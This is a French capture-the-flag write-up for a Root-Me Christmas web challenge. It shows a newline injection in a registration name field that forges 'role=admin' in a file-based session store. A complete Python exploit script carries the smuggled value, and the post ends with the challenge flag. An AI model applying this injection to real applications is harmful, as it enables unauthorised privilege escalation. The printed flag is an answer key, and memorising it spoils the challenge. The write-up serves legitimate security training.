✅ Day 15 - New new .. always new
- WEB
- Date de résolution : 13/12/2024
Reconnaissance
Ce challenge consiste à devenir admin sur le site web.
Il est possible de s'enregistrer mais dans la fonction register(), le rôle est écrit en dur = 'user' !
On remarque ensuite que la fonction create_session() est un peu particulière car elle enregistre les données de session dans un fichier... Hummm !
1with open(session_file, 'w') as f:
2 f.write(f'email={email}\n')
3 f.write(f'role={role}\n')
4 f.write(f'name={name}\n')
Et si je surchargeais mon {name} avec un retour chariot '\n' et role=admin ? PWN !!
Exploit
Mon script avec l'exploit complet :
1import requests
2from requests.packages.urllib3.exceptions import InsecureRequestWarning
3requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
4import json
5
6URL_BASE = "https://day15.challenges.xmas.root-me.org/"
7#URL_BASE = "http://localhost:8000/"
8EMAIL = "toto@wonderland.fr"
9NAME="toto"
10PASS = "toto"
11HEADERS = {
12 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0',
13 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8',
14 'Accept-Language': 'en-US,en;q=0.5',
15 'Accept-Encoding': 'gzip, deflate, br',
16 'Content-Type': 'application/json',
17 'Origin': URL_BASE,
18 'Upgrade-Insecure-Requests': '1'
19}
20
21def register(session):
22 print(f"REGISTERING...")
23 json_data = '{"email": "' + EMAIL + '", "name": "' + NAME + '\\nrole=admin", "password": "' + PASS + '"}'
24 print(f"{json_data = }")
25 url = URL_BASE + "register"
26 r = session.post(url, headers=HEADERS, data=json_data, verify=False)
27 return r.text
28
29def login(session):
30 print(f"LOGIN...")
31 data = {"email":EMAIL, "password":PASS}
32 json_data = json.dumps(data)
33 url = URL_BASE + "login"
34 r = session.post(url, headers=HEADERS, data=json_data, verify=False)
35 print(f"{r.cookies.get('session_id') = }")
36 return r.text
37
38def dashboard(session):
39 print(f"DASHBOARDING...")
40 url = URL_BASE + "dashboard"
41 HEADERS['Content-Type'] = 'application/x-www-form-urlencoded'
42 r = session.get(url, headers=HEADERS, cookies=session.cookies, verify=False)
43 return r.text
44
45def admin(session):
46 print(f"GO TO THE FLAG...")
47 url = URL_BASE + "admin"
48 HEADERS['Content-Type'] = 'application/x-www-form-urlencoded'
49 r = session.get(url, headers=HEADERS, cookies=session.cookies, verify=False)
50 return r.text
51
52if __name__ == "__main__":
53 s = requests.Session()
54 s_reg = register(s)
55 print(s_reg)
56 s_log = login(s)
57 s_dash = dashboard(s)
58 print(s_dash)
59 s_flag = admin(s)
60 print(s_flag)
FLAG
The flag is : RM{I_Thought_Th1s_VUlnerab1ility_W4s_N0t_Imp0rtant}